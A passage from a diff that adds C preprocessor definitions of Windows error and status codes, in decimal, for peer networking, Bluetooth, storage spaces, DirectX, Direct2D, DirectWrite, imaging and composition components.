PEER_E_INVALID_DATABASE -2140995562 +#define PEER_E_TOO_MANY_ATTRIBUTES -2140995561 +#define PEER_E_CONNECTION_NOT_FOUND -2140995325 +#define PEER_E_CONNECT_SELF -2140995322 +#define PEER_E_ALREADY_LISTENING -2140995321 +#define PEER_E_NODE_NOT_FOUND -2140995320 +#define PEER_E_CONNECTION_FAILED -2140995319 +#define PEER_E_CONNECTION_NOT_AUTHENTICATED -2140995318 +#define PEER_E_CONNECTION_REFUSED -2140995317 +#define PEER_E_CLASSIFIER_TOO_LONG -2140995071 +#define PEER_E_TOO_MANY_IDENTITIES -2140995070 +#define PEER_E_NO_KEY_ACCESS -2140995069 +#define PEER_E_GROUPS_EXIST -2140995068 +#define PEER_E_RECORD_NOT_FOUND -2140994815 +#define PEER_E_DATABASE_ACCESSDENIED -2140994814 +#define PEER_E_DBINITIALIZATION_FAILED -2140994813 +#define PEER_E_MAX_RECORD_SIZE_EXCEEDED -2140994812 +#define PEER_E_DATABASE_ALREADY_PRESENT -2140994811 +#define PEER_E_DATABASE_NOT_PRESENT -2140994810 +#define PEER_E_IDENTITY_NOT_FOUND -2140994559 +#define PEER_E_EVENT_HANDLE_NOT_FOUND -2140994303 +#define PEER_E_INVALID_SEARCH -2140994047 +#define PEER_E_INVALID_ATTRIBUTES -2140994046 +#define PEER_E_INVITATION_NOT_TRUSTED -2140993791 +#define PEER_E_CHAIN_TOO_LONG -2140993789 +#define PEER_E_INVALID_TIME_PERIOD -2140993787 +#define PEER_E_CIRCULAR_CHAIN_DETECTED -2140993786 +#define PEER_E_CERT_STORE_CORRUPTED -2140993535 +#define PEER_E_NO_CLOUD -2140991487 +#define PEER_E_CLOUD_NAME_AMBIGUOUS -2140991483 +#define PEER_E_INVALID_RECORD -2140987376 +#define PEER_E_NOT_AUTHORIZED -2140987360 +#define PEER_E_PASSWORD_DOES_NOT_MEET_POLICY -2140987359 +#define PEER_E_DEFERRED_VALIDATION -2140987344 +#define PEER_E_INVALID_GROUP_PROPERTIES -2140987328 +#define PEER_E_INVALID_PEER_NAME -2140987312 +#define PEER_E_INVALID_CLASSIFIER -2140987296 +#define PEER_E_INVALID_FRIENDLY_NAME -2140987280 +#define PEER_E_INVALID_ROLE_PROPERTY -2140987279 +#define PEER_E_INVALID_CLASSIFIER_PROPERTY -2140987278 +#define PEER_E_INVALID_RECORD_EXPIRATION -2140987264 +#define PEER_E_INVALID_CREDENTIAL_INFO -2140987263 +#define PEER_E_INVALID_CREDENTIAL -2140987262 +#define PEER_E_INVALID_RECORD_SIZE -2140987261 +#define PEER_E_UNSUPPORTED_VERSION -2140987248 +#define PEER_E_GROUP_NOT_READY -2140987247 +#define PEER_E_GROUP_IN_USE -2140987246 +#define PEER_E_INVALID_GROUP -2140987245 +#define PEER_E_NO_MEMBERS_FOUND -2140987244 +#define PEER_E_NO_MEMBER_CONNECTIONS -2140987243 +#define PEER_E_UNABLE_TO_LISTEN -2140987242 +#define PEER_E_IDENTITY_DELETED -2140987232 +#define PEER_E_SERVICE_NOT_AVAILABLE -2140987231 +#define PEER_E_CONTACT_NOT_FOUND -2140971007 +#define PEER_S_GRAPH_DATA_CREATED 6488065 +#define PEER_S_NO_EVENT_DATA 6488066 +#define PEER_S_ALREADY_CONNECTED 6496256 +#define PEER_S_SUBSCRIPTION_EXISTS 6512640 +#define PEER_S_NO_CONNECTIVITY 6488069 +#define PEER_S_ALREADY_A_MEMBER 6488070 +#define PEER_E_CANNOT_CONVERT_PEER_NAME -2140979199 +#define PEER_E_INVALID_PEER_HOST_NAME -2140979198 +#define PEER_E_NO_MORE -2140979197 +#define PEER_E_PNRP_DUPLICATE_PEER_NAME -2140979195 +#define PEER_E_INVITE_CANCELLED -2140966912 +#define PEER_E_INVITE_RESPONSE_NOT_AVAILABLE -2140966911 +#define PEER_E_NOT_SIGNED_IN -2140966909 +#define PEER_E_PRIVACY_DECLINED -2140966908 +#define PEER_E_TIMEOUT -2140966907 +#define PEER_E_INVALID_ADDRESS -2140966905 +#define PEER_E_FW_EXCEPTION_DISABLED -2140966904 +#define PEER_E_FW_BLOCKED_BY_POLICY -2140966903 +#define PEER_E_FW_BLOCKED_BY_SHIELDS_UP -2140966902 +#define PEER_E_FW_DECLINED -2140966901 +#define UI_E_CREATE_FAILED -2144731135 +#define UI_E_SHUTDOWN_CALLED -2144731134 +#define UI_E_ILLEGAL_REENTRANCY -2144731133 +#define UI_E_OBJECT_SEALED -2144731132 +#define UI_E_VALUE_NOT_SET -2144731131 +#define UI_E_VALUE_NOT_DETERMINED -2144731130 +#define UI_E_INVALID_OUTPUT -2144731129 +#define UI_E_BOOLEAN_EXPECTED -2144731128 +#define UI_E_DIFFERENT_OWNER -2144731127 +#define UI_E_AMBIGUOUS_MATCH -2144731126 +#define UI_E_FP_OVERFLOW -2144731125 +#define UI_E_WRONG_THREAD -2144731124 +#define UI_E_STORYBOARD_ACTIVE -2144730879 +#define UI_E_STORYBOARD_NOT_PLAYING -2144730878 +#define UI_E_START_KEYFRAME_AFTER_END -2144730877 +#define UI_E_END_KEYFRAME_NOT_DETERMINED -2144730876 +#define UI_E_LOOPS_OVERLAP -2144730875 +#define UI_E_TRANSITION_ALREADY_USED -2144730874 +#define UI_E_TRANSITION_NOT_IN_STORYBOARD -2144730873 +#define UI_E_TRANSITION_ECLIPSED -2144730872 +#define UI_E_TIME_BEFORE_LAST_UPDATE -2144730871 +#define UI_E_TIMER_CLIENT_ALREADY_CONNECTED -2144730870 +#define UI_E_INVALID_DIMENSION -2144730869 +#define UI_E_PRIMITIVE_OUT_OF_BOUNDS -2144730868 +#define UI_E_WINDOW_CLOSED -2144730623 +#define E_BLUETOOTH_ATT_INVALID_HANDLE -2140864511 +#define E_BLUETOOTH_ATT_READ_NOT_PERMITTED -2140864510 +#define E_BLUETOOTH_ATT_WRITE_NOT_PERMITTED -2140864509 +#define E_BLUETOOTH_ATT_INVALID_PDU -2140864508 +#define E_BLUETOOTH_ATT_INSUFFICIENT_AUTHENTICATION -2140864507 +#define E_BLUETOOTH_ATT_REQUEST_NOT_SUPPORTED -2140864506 +#define E_BLUETOOTH_ATT_INVALID_OFFSET -2140864505 +#define E_BLUETOOTH_ATT_INSUFFICIENT_AUTHORIZATION -2140864504 +#define E_BLUETOOTH_ATT_PREPARE_QUEUE_FULL -2140864503 +#define E_BLUETOOTH_ATT_ATTRIBUTE_NOT_FOUND -2140864502 +#define E_BLUETOOTH_ATT_ATTRIBUTE_NOT_LONG -2140864501 +#define E_BLUETOOTH_ATT_INSUFFICIENT_ENCRYPTION_KEY_SIZE -2140864500 +#define E_BLUETOOTH_ATT_INVALID_ATTRIBUTE_VALUE_LENGTH -2140864499 +#define E_BLUETOOTH_ATT_UNLIKELY -2140864498 +#define E_BLUETOOTH_ATT_INSUFFICIENT_ENCRYPTION -2140864497 +#define E_BLUETOOTH_ATT_UNSUPPORTED_GROUP_TYPE -2140864496 +#define E_BLUETOOTH_ATT_INSUFFICIENT_RESOURCES -2140864495 +#define E_BLUETOOTH_ATT_UNKNOWN_ERROR -2140860416 +#define E_AUDIO_ENGINE_NODE_NOT_FOUND -2140798975 +#define E_HDAUDIO_EMPTY_CONNECTION_LIST -2140798974 +#define E_HDAUDIO_CONNECTION_LIST_NOT_SUPPORTED -2140798973 +#define E_HDAUDIO_NO_LOGICAL_DEVICES_CREATED -2140798972 +#define E_HDAUDIO_NULL_LINKED_LIST_ENTRY -2140798971 +#define E_SOUNDWIRE_COMMAND_ABORTED -2140798970 +#define E_SOUNDWIRE_COMMAND_IGNORED -2140798969 +#define E_SOUNDWIRE_COMMAND_FAILED -2140798968 +#define STATEREPOSITORY_E_CONCURRENCY_LOCKING_FAILURE -2140733439 +#define STATEREPOSITORY_E_STATEMENT_INPROGRESS -2140733438 +#define STATEREPOSITORY_E_CONFIGURATION_INVALID -2140733437 +#define STATEREPOSITORY_E_UNKNOWN_SCHEMA_VERSION -2140733436 +#define STATEREPOSITORY_ERROR_DICTIONARY_CORRUPTED -2140733435 +#define STATEREPOSITORY_E_BLOCKED -2140733434 +#define STATEREPOSITORY_E_BUSY_RETRY -2140733433 +#define STATEREPOSITORY_E_BUSY_RECOVERY_RETRY -2140733432 +#define STATEREPOSITORY_E_LOCKED_RETRY -2140733431 +#define STATEREPOSITORY_E_LOCKED_SHAREDCACHE_RETRY -2140733430 +#define STATEREPOSITORY_E_TRANSACTION_REQUIRED -2140733429 +#define STATEREPOSITORY_E_BUSY_TIMEOUT_EXCEEDED -2140733428 +#define STATEREPOSITORY_E_BUSY_RECOVERY_TIMEOUT_EXCEEDED -2140733427 +#define STATEREPOSITORY_E_LOCKED_TIMEOUT_EXCEEDED -2140733426 +#define STATEREPOSITORY_E_LOCKED_SHAREDCACHE_TIMEOUT_EXCEEDED -2140733425 +#define STATEREPOSITORY_E_SERVICE_STOP_IN_PROGRESS -2140733424 +#define STATEREPOSTORY_E_NESTED_TRANSACTION_NOT_SUPPORTED -2140733423 +#define STATEREPOSITORY_ERROR_CACHE_CORRUPTED -2140733422 +#define STATEREPOSITORY_TRANSACTION_CALLER_ID_CHANGED 6750227 +#define STATEREPOSITORY_TRANSACTION_IN_PROGRESS -2140733420 +#define STATEREPOSITORY_E_CACHE_NOT_INIITALIZED -2140733419 +#define STATEREPOSITORY_E_DEPENDENCY_NOT_RESOLVED -2140733418 +#define ERROR_SPACES_POOL_WAS_DELETED 15138817 +#define ERROR_SPACES_FAULT_DOMAIN_TYPE_INVALID -2132344831 +#define ERROR_SPACES_INTERNAL_ERROR -2132344830 +#define ERROR_SPACES_RESILIENCY_TYPE_INVALID -2132344829 +#define ERROR_SPACES_DRIVE_SECTOR_SIZE_INVALID -2132344828 +#define ERROR_SPACES_DRIVE_REDUNDANCY_INVALID -2132344826 +#define ERROR_SPACES_NUMBER_OF_DATA_COPIES_INVALID -2132344825 +#define ERROR_SPACES_PARITY_LAYOUT_INVALID -2132344824 +#define ERROR_SPACES_INTERLEAVE_LENGTH_INVALID -2132344823 +#define ERROR_SPACES_NUMBER_OF_COLUMNS_INVALID -2132344822 +#define ERROR_SPACES_NOT_ENOUGH_DRIVES -2132344821 +#define ERROR_SPACES_EXTENDED_ERROR -2132344820 +#define ERROR_SPACES_PROVISIONING_TYPE_INVALID -2132344819 +#define ERROR_SPACES_ALLOCATION_SIZE_INVALID -2132344818 +#define ERROR_SPACES_ENCLOSURE_AWARE_INVALID -2132344817 +#define ERROR_SPACES_WRITE_CACHE_SIZE_INVALID -2132344816 +#define ERROR_SPACES_NUMBER_OF_GROUPS_INVALID -2132344815 +#define ERROR_SPACES_DRIVE_OPERATIONAL_STATE_INVALID -2132344814 +#define ERROR_SPACES_ENTRY_INCOMPLETE -2132344813 +#define ERROR_SPACES_ENTRY_INVALID -2132344812 +#define ERROR_SPACES_UPDATE_COLUMN_STATE -2132344811 +#define ERROR_SPACES_MAP_REQUIRED -2132344810 +#define ERROR_SPACES_UNSUPPORTED_VERSION -2132344809 +#define ERROR_SPACES_CORRUPT_METADATA -2132344808 +#define ERROR_SPACES_DRT_FULL -2132344807 +#define ERROR_SPACES_INCONSISTENCY -2132344806 +#define ERROR_SPACES_LOG_NOT_READY -2132344805 +#define ERROR_SPACES_NO_REDUNDANCY -2132344804 +#define ERROR_SPACES_DRIVE_NOT_READY -2132344803 +#define ERROR_SPACES_DRIVE_SPLIT -2132344802 +#define ERROR_SPACES_DRIVE_LOST_DATA -2132344801 +#define ERROR_SPACES_MARK_DIRTY -2132344800 +#define ERROR_SPACES_FLUSH_METADATA -2132344795 +#define ERROR_SPACES_CACHE_FULL -2132344794 +#define ERROR_SPACES_REPAIR_IN_PROGRESS -2132344793 +#define ERROR_VOLSNAP_BOOTFILE_NOT_VALID -2138963967 +#define ERROR_VOLSNAP_ACTIVATION_TIMEOUT -2138963966 +#define ERROR_VOLSNAP_NO_BYPASSIO_WITH_SNAPSHOT -2138963965 +#define ERROR_TIERING_NOT_SUPPORTED_ON_VOLUME -2138898431 +#define ERROR_TIERING_VOLUME_DISMOUNT_IN_PROGRESS -2138898430 +#define ERROR_TIERING_STORAGE_TIER_NOT_FOUND -2138898429 +#define ERROR_TIERING_INVALID_FILE_ID -2138898428 +#define ERROR_TIERING_WRONG_CLUSTER_NODE -2138898427 +#define ERROR_TIERING_ALREADY_PROCESSING -2138898426 +#define ERROR_TIERING_CANNOT_PIN_OBJECT -2138898425 +#define ERROR_TIERING_FILE_IS_NOT_PINNED -2138898424 +#define ERROR_NOT_A_TIERED_VOLUME -2138898423 +#define ERROR_ATTRIBUTE_NOT_PRESENT -2138898422 +#define ERROR_SECCORE_INVALID_COMMAND -1058537472 +#define ERROR_NO_APPLICABLE_APP_LICENSES_FOUND -1058406399 +#define ERROR_CLIP_LICENSE_NOT_FOUND -1058406398 +#define ERROR_CLIP_DEVICE_LICENSE_MISSING -1058406397 +#define ERROR_CLIP_LICENSE_INVALID_SIGNATURE -1058406396 +#define ERROR_CLIP_KEYHOLDER_LICENSE_MISSING_OR_INVALID -1058406395 +#define ERROR_CLIP_LICENSE_EXPIRED -1058406394 +#define ERROR_CLIP_LICENSE_SIGNED_BY_UNKNOWN_SOURCE -1058406393 +#define ERROR_CLIP_LICENSE_NOT_SIGNED -1058406392 +#define ERROR_CLIP_LICENSE_HARDWARE_ID_OUT_OF_TOLERANCE -1058406391 +#define ERROR_CLIP_LICENSE_DEVICE_ID_MISMATCH -1058406390 +#define DXGI_STATUS_OCCLUDED 142213121 +#define DXGI_STATUS_CLIPPED 142213122 +#define DXGI_STATUS_NO_REDIRECTION 142213124 +#define DXGI_STATUS_NO_DESKTOP_ACCESS 142213125 +#define DXGI_STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE 142213126 +#define DXGI_STATUS_MODE_CHANGED 142213127 +#define DXGI_STATUS_MODE_CHANGE_IN_PROGRESS 142213128 +#define DXCORE_ERROR_EVENT_NOT_UNREGISTERED -2004877311 +#define PRESENTATION_ERROR_LOST -2004811775 +#define DXGI_STATUS_UNOCCLUDED 142213129 +#define DXGI_STATUS_DDA_WAS_STILL_DRAWING 142213130 +#define DXGI_STATUS_PRESENT_REQUIRED 142213167 +#define DXGI_DDI_ERR_WASSTILLDRAWING -2005204991 +#define DXGI_DDI_ERR_UNSUPPORTED -2005204990 +#define DXGI_DDI_ERR_NONEXCLUSIVE -2005204989 +#define D3D10_ERROR_TOO_MANY_UNIQUE_STATE_OBJECTS -2005336063 +#define D3D10_ERROR_FILE_NOT_FOUND -2005336062 +#define D3D11_ERROR_TOO_MANY_UNIQUE_STATE_OBJECTS -2005139455 +#define D3D11_ERROR_FILE_NOT_FOUND -2005139454 +#define D3D11_ERROR_TOO_MANY_UNIQUE_VIEW_OBJECTS -2005139453 +#define D3D11_ERROR_DEFERRED_CONTEXT_MAP_WITHOUT_INITIAL_DISCARD -2005139452 +#define D3D12_ERROR_ADAPTER_NOT_FOUND -2005008383 +#define D3D12_ERROR_DRIVER_VERSION_MISMATCH -2005008382 +#define D3D12_ERROR_INVALID_REDIST -2005008381 +#define D2DERR_WRONG_STATE -2003238911 +#define D2DERR_NOT_INITIALIZED -2003238910 +#define D2DERR_UNSUPPORTED_OPERATION -2003238909 +#define D2DERR_SCANNER_FAILED -2003238908 +#define D2DERR_SCREEN_ACCESS_DENIED -2003238907 +#define D2DERR_DISPLAY_STATE_INVALID -2003238906 +#define D2DERR_ZERO_VECTOR -2003238905 +#define D2DERR_INTERNAL_ERROR -2003238904 +#define D2DERR_DISPLAY_FORMAT_NOT_SUPPORTED -2003238903 +#define D2DERR_INVALID_CALL -2003238902 +#define D2DERR_NO_HARDWARE_DEVICE -2003238901 +#define D2DERR_RECREATE_TARGET -2003238900 +#define D2DERR_TOO_MANY_SHADER_ELEMENTS -2003238899 +#define D2DERR_SHADER_COMPILE_FAILED -2003238898 +#define D2DERR_MAX_TEXTURE_SIZE_EXCEEDED -2003238897 +#define D2DERR_UNSUPPORTED_VERSION -2003238896 +#define D2DERR_BAD_NUMBER -2003238895 +#define D2DERR_WRONG_FACTORY -2003238894 +#define D2DERR_LAYER_ALREADY_IN_USE -2003238893 +#define D2DERR_POP_CALL_DID_NOT_MATCH_PUSH -2003238892 +#define D2DERR_WRONG_RESOURCE_DOMAIN -2003238891 +#define D2DERR_PUSH_POP_UNBALANCED -2003238890 +#define D2DERR_RENDER_TARGET_HAS_LAYER_OR_CLIPRECT -2003238889 +#define D2DERR_INCOMPATIBLE_BRUSH_TYPES -2003238888 +#define D2DERR_WIN32_ERROR -2003238887 +#define D2DERR_TARGET_NOT_GDI_COMPATIBLE -2003238886 +#define D2DERR_TEXT_EFFECT_IS_WRONG_TYPE -2003238885 +#define D2DERR_TEXT_RENDERER_NOT_RELEASED -2003238884 +#define D2DERR_EXCEEDS_MAX_BITMAP_SIZE -2003238883 +#define D2DERR_INVALID_GRAPH_CONFIGURATION -2003238882 +#define D2DERR_INVALID_INTERNAL_GRAPH_CONFIGURATION -2003238881 +#define D2DERR_CYCLIC_GRAPH -2003238880 +#define D2DERR_BITMAP_CANNOT_DRAW -2003238879 +#define D2DERR_OUTSTANDING_BITMAP_REFERENCES -2003238878 +#define D2DERR_ORIGINAL_TARGET_NOT_BOUND -2003238877 +#define D2DERR_INVALID_TARGET -2003238876 +#define D2DERR_BITMAP_BOUND_AS_TARGET -2003238875 +#define D2DERR_INSUFFICIENT_DEVICE_CAPABILITIES -2003238874 +#define D2DERR_INTERMEDIATE_TOO_LARGE -2003238873 +#define D2DERR_EFFECT_IS_NOT_REGISTERED -2003238872 +#define D2DERR_INVALID_PROPERTY -2003238871 +#define D2DERR_NO_SUBPROPERTIES -2003238870 +#define D2DERR_PRINT_JOB_CLOSED -2003238869 +#define D2DERR_PRINT_FORMAT_NOT_SUPPORTED -2003238868 +#define D2DERR_TOO_MANY_TRANSFORM_INPUTS -2003238867 +#define D2DERR_INVALID_GLYPH_IMAGE -2003238866 +#define DWRITE_E_FILEFORMAT -2003283968 +#define DWRITE_E_UNEXPECTED -2003283967 +#define DWRITE_E_NOFONT -2003283966 +#define DWRITE_E_FILENOTFOUND -2003283965 +#define DWRITE_E_FILEACCESS -2003283964 +#define DWRITE_E_FONTCOLLECTIONOBSOLETE -2003283963 +#define DWRITE_E_ALREADYREGISTERED -2003283962 +#define DWRITE_E_CACHEFORMAT -2003283961 +#define DWRITE_E_CACHEVERSION -2003283960 +#define DWRITE_E_UNSUPPORTEDOPERATION -2003283959 +#define DWRITE_E_TEXTRENDERERINCOMPATIBLE -2003283958 +#define DWRITE_E_FLOWDIRECTIONCONFLICTS -2003283957 +#define DWRITE_E_NOCOLOR -2003283956 +#define WINCODEC_ERR_WRONGSTATE -2003292412 +#define WINCODEC_ERR_VALUEOUTOFRANGE -2003292411 +#define WINCODEC_ERR_UNKNOWNIMAGEFORMAT -2003292409 +#define WINCODEC_ERR_UNSUPPORTEDVERSION -2003292405 +#define WINCODEC_ERR_NOTINITIALIZED -2003292404 +#define WINCODEC_ERR_ALREADYLOCKED -2003292403 +#define WINCODEC_ERR_PROPERTYNOTFOUND -2003292352 +#define WINCODEC_ERR_PROPERTYNOTSUPPORTED -2003292351 +#define WINCODEC_ERR_PROPERTYSIZE -2003292350 +#define WINCODEC_ERR_CODECPRESENT -2003292349 +#define WINCODEC_ERR_CODECNOTHUMBNAIL -2003292348 +#define WINCODEC_ERR_PALETTEUNAVAILABLE -2003292347 +#define WINCODEC_ERR_CODECTOOMANYSCANLINES -2003292346 +#define WINCODEC_ERR_INTERNALERROR -2003292344 +#define WINCODEC_ERR_SOURCERECTDOESNOTMATCHDIMENSIONS -2003292343 +#define WINCODEC_ERR_COMPONENTNOTFOUND -2003292336 +#define WINCODEC_ERR_IMAGESIZEOUTOFRANGE -2003292335 +#define WINCODEC_ERR_TOOMUCHMETADATA -2003292334 +#define WINCODEC_ERR_BADIMAGE -2003292320 +#define WINCODEC_ERR_BADHEADER -2003292319 +#define WINCODEC_ERR_FRAMEMISSING -2003292318 +#define WINCODEC_ERR_BADMETADATAHEADER -2003292317 +#define WINCODEC_ERR_BADSTREAMDATA -2003292304 +#define WINCODEC_ERR_STREAMWRITE -2003292303 +#define WINCODEC_ERR_STREAMREAD -2003292302 +#define WINCODEC_ERR_STREAMNOTAVAILABLE -2003292301 +#define WINCODEC_ERR_UNSUPPORTEDPIXELFORMAT -2003292288 +#define WINCODEC_ERR_UNSUPPORTEDOPERATION -2003292287 +#define WINCODEC_ERR_INVALIDREGISTRATION -2003292278 +#define WINCODEC_ERR_COMPONENTINITIALIZEFAILURE -2003292277 +#define WINCODEC_ERR_INSUFFICIENTBUFFER -2003292276 +#define WINCODEC_ERR_DUPLICATEMETADATAPRESENT -2003292275 +#define WINCODEC_ERR_PROPERTYUNEXPECTEDTYPE -2003292274 +#define WINCODEC_ERR_UNEXPECTEDSIZE -2003292273 +#define WINCODEC_ERR_INVALIDQUERYREQUEST -2003292272 +#define WINCODEC_ERR_UNEXPECTEDMETADATATYPE -2003292271 +#define WINCODEC_ERR_REQUESTONLYVALIDATMETADATAROOT -2003292270 +#define WINCODEC_ERR_INVALIDQUERYCHARACTER -2003292269 +#define WINCODEC_ERR_WIN32ERROR -2003292268 +#define WINCODEC_ERR_INVALIDPROGRESSIVELEVEL -2003292267 +#define WINCODEC_ERR_INVALIDJPEGSCANINDEX -2003292266 +#define WINCODEC_ERR_UNSUPPORTEDTONEMAPPING -2003292265 +#define MILERR_OBJECTBUSY -2003304447 +#define MILERR_INSUFFICIENTBUFFER -2003304446 +#define MILERR_WIN32ERROR -2003304445 +#define MILERR_SCANNER_FAILED -2003304444 +#define MILERR_SCREENACCESSDENIED -2003304443 +#define MILERR_DISPLAYSTATEINVALID -2003304442 +#define MILERR_NONINVERTIBLEMATRIX -2003304441 +#define MILERR_ZEROVECTOR -2003304440 +#define MILERR_TERMINATED -2003304439 +#define MILERR_BADNUMBER -2003304438 +#define MILERR_INTERNALERROR -2003304320 +#define MILERR_DISPLAYFORMATNOTSUPPORTED -2003304316 +#define MILERR_INVALIDCALL -2003304315 +#define MILERR_ALREADYLOCKED -2003304314 +#define MILERR_NOTLOCKED -2003304313 +#define MILERR_DEVICECANNOTRENDERTEXT -2003304312 +#define MILERR_GLYPHBITMAPMISSED -2003304311 +#define MILERR_MALFORMEDGLYPHCACHE -2003304310 +#define MILERR_GENERIC_IGNORE -2003304309 +#define MILERR_MALFORMED_GUIDELINE_DATA -2003304308 +#define MILERR_NO_HARDWARE_DEVICE -2003304307 +#define MILERR_NEED_RECREATE_AND_PRESENT -2003304306 +#define MILERR_ALREADY_INITIALIZED -2003304305 +#define MILERR_MISMATCHED_SIZE -2003304304 +#define MILERR_NO_REDIRECTION_SURFACE_AVAILABLE -2003304303 +#define MILERR_REMOTING_NOT_SUPPORTED -2003304302 +#define MILERR_QUEUED_PRESENT_NOT_SUPPORTED -2003304301 +#define MILERR_NOT_QUEUING_PRESENTS -2003304300 +#define MILERR_NO_REDIRECTION_SURFACE_RETRY_LATER -2003304299 +#define MILERR_TOOMANYSHADERELEMNTS -2003304298 +#define MILERR_MROW_READLOCK_FAILED -2003304297 +#define MILERR_MROW_UPDATE_FAILED -2003304296 +#define MILERR_SHADER_COMPILE_FAILED -2003304295 +#define MILERR_MAX_TEXTURE_SIZE_EXCEEDED -2003304294 +#define MILERR_QPC_TIME_WENT_BACKWARD -2003304293 +#define MILERR_DXGI_ENUMERATION_OUT_OF_SYNC -2003304291 +#define MILERR_ADAPTER_NOT_FOUND -2003304290 +#define MILERR_COLORSPACE_NOT_SUPPORTED -2003304289 +#define MILERR_PREFILTER_NOT_SUPPORTED -2003304288 +#define MILERR_DISPLAYID_ACCESS_DENIED -2003304287 +#define MILERR_DEVICE_CREATION_FAILURE -2003304272 +#define MILERR_INTEL_DEVICE_CREATION_FAILURE -2003304271 +#define MILERR_AMD_DEVICE_CREATION_FAILURE -2003304270 +#define MILERR_NVIDIA_DEVICE_CREATION_FAILURE -2003304269 +#define MILERR_QC_DEVICE_CREATION_FAILURE -2003304268 +#define MILERR_SWAPCHAIN_CREATION_FAILURE -2003304256 +#define MILERR_INTEL_SWAPCHAIN_CREATION_FAILURE -2003304255 +#define MILERR_AMD_SWAPCHAIN_CREATION_FAILURE -2003304254 +#define MILERR_NVIDIA_SWAPCHAIN_CREATION_FAILURE -2003304253 +#define MILERR_QC_SWAPCHAIN_CREATION_FAILURE -2003304252 +#define MILERR_IDD_SWAPCHAIN_CREATION_FAILURE -2003304251 +#define MILERR_PRESENT_FAILURE -2003304240 +#define MILERR_INTEL_PRESENT_FAILURE -2003304239 +#define MILERR_AMD_PRESENT_FAILURE -2003304238 +#define MILERR_NVIDIA_PRESENT_FAILURE -2003304237 +#define MILERR_QC_PRESENT_FAILURE -2003304236 +#define MILERR_IDD_PRESENT_FAILURE -2003304235 +#define UCEERR_INVALIDPACKETHEADER -2003303424 +#define UCEERR_UNKNOWNPACKET -2003303423 +#define UCEERR_ILLEGALPACKET -2003303422 +#define UCEERR_MALFORMEDPACKET -2003303421 +#define UCEERR_ILLEGALHANDLE -2003303420 +#define UCEERR_HANDLELOOKUPFAILED -2003303419 +#define UCEERR_RENDERTHREADFAILURE -2003303418 +#define UCEERR_CTXSTACKFRSTTARGETNULL -2003303417 +#define UCEERR_CONNECTIONIDLOOKUPFAILED -2003303416 +#define UCEERR_BLOCKSFULL -2003303415 +#define UCEERR_MEMORYFAILURE -2003303414 +#define UCEERR_PACKETRECORDOUTOFRANGE -2003303413 +#define UCEERR_ILLEGALRECORDTYPE -2003303412 +#define UCEERR_OUTOFHANDLES -2003303411 +#define UCEERR_UNCHANGABLE_UPDATE_ATTEMPTED -2003303410 +#define UCEERR_NO_MULTIPLE_WORKER_THREADS -2003303409 +#define UCEERR_REMOTINGNOTSUPPORTED -2003303408 +#define UCEERR_MISSINGENDCOMMAND -2003303407 +#define UCEERR_MISSINGBEGINCOMMAND -2003303406 +#define UCEERR_CHANNELSYNCTIMEDOUT -2003303405 +#define UCEERR_CHANNELSYNCABANDONED -2003303404 +#define UCEERR_UNSUPPORTEDTRANSPORTVERSION -2003303403 +#define UCEERR_TRANSPORTUNAVAILABLE -2003303402 +#define UCEERR_FEEDBACK_UNSUPPORTED -2003303401 +#define UCEERR_COMMANDTRANSPORTDENIED -2003303400 +#define UCEERR_GRAPHICSSTREAMUNAVAILABLE -2003303399 +#define UCEERR_GRAPHICSSTREAMALREADYOPEN -2003303392 +#define UCEERR_TRANSPORTDISCONNECTED -2003303391 +#define UCEERR_TRANSPORTOVERLOADED -2003303390 +#define UCEERR_PARTITION_ZOMBIED -2003303389 +#define MILAVERR_NOCLOCK -2003303168 +#define MILAVERR_NOMEDIATYPE -2003303167 +#define MILAVERR_NOVIDEOMIXER -2003303166 +#define MILAVERR_NOVIDEOPRESENTER -2003303165 +#define MILAVERR_NOREADYFRAMES -2003303164 +#define MILAVERR_MODULENOTLOADED -2003303163 +#define MILAVERR_WMPFACTORYNOTREGISTERED -2003303162 +#define MILAVERR_INVALIDWMPVERSION -2003303161 +#define MILAVERR_INSUFFICIENTVIDEORESOURCES -2003303160 +#define MILAVERR_VIDEOACCELERATIONNOTAVAILABLE -2003303159 +#define MILAVERR_REQUESTEDTEXTURETOOBIG -2003303158 +#define MILAVERR_SEEKFAILED -2003303157 +#define MILAVERR_UNEXPECTEDWMPFAILURE -2003303156 +#define MILAVERR_MEDIAPLAYERCLOSED -2003303155 +#define MILAVERR_UNKNOWNHARDWAREERROR -2003303154 +#define MILEFFECTSERR_UNKNOWNPROPERTY -2003302898 +#define MILEFFECTSERR_EFFECTNOTPARTOFGROUP -2003302897 +#define MILEFFECTSERR_NOINPUTSOURCEATTACHED -2003302896 +#define MILEFFECTSERR_CONNECTORNOTCONNECTED -2003302895 +#define MILEFFECTSERR_CONNECTORNOTASSOCIATEDWITHEFFECT -2003302894 +#define MILEFFECTSERR_RESERVED -2003302893 +#define MILEFFECTSERR_CYCLEDETECTED -2003302892 +#define MILEFFECTSERR_EFFECTINMORETHANONEGRAPH -2003302891 +#define MILEFFECTSERR_EFFECTALREADYINAGRAPH -2003302890 +#define MILEFFECTSERR_EFFECTHASNOCHILDREN -2003302889 +#define MILEFFECTSERR_ALREADYATTACHEDTOLISTENER -2003302888 +#define MILEFFECTSERR_NOTAFFINETRANSFORM -2003302887 +#define MILEFFECTSERR_EMPTYBOUNDS -2003302886 +#define MILEFFECTSERR_OUTPUTSIZETOOLARGE -2003302885 +#define DWMERR_STATE_TRANSITION_FAILED -2003302656 +#define DWMERR_THEME_FAILED -2003302655 +#define DWMERR_CATASTROPHIC_FAILURE -2003302654 +#define DCOMPOSITION_ERROR_WINDOW_ALREADY_COMPOSED -2003302400 +#define DCOMPOSITION_ERROR_SURFACE_BEING_RENDERED -2003302399 +#define DCOMPOSITION_ERROR_SURFACE_NOT_BEING_RENDERED -2003302398 +#define ONL_E_INVALID_AUTHENTICATION_TARGET -2138701823 +#define ONL_E_ACCESS_DENIED_BY_TOU -2138701822 +#define ONL_E_INVALID_APPLICATION -2138701821 +#define ONL_E_PASSWORD_UPDATE_REQUIRED -2138701820 +#define ONL_E_ACCOUNT_UPDATE_REQUIRED -2138701819 +#define ONL_E_FORCESIGNIN -2138701818 +#define ONL_E_ACCOUNT_LOCKED -2138701817 +#define ONL_E_PARENTAL_CONSENT_REQUIRED -2138701816 +#define ONL_E_EMAIL_VERIFICATION_REQUIRED -2138701815 +#define ONL_E_ACCOUNT_SUSPENDED_COMPROIMISE -2138701814 +#define ONL_E_ACCOUNT_SUSPENDED_ABUSE -2138701813 +#define ONL_E_ACTION_REQUIRED -2138701812 +#define ONL_CONNECTION_COUNT_LIMIT -2138701811 +#define 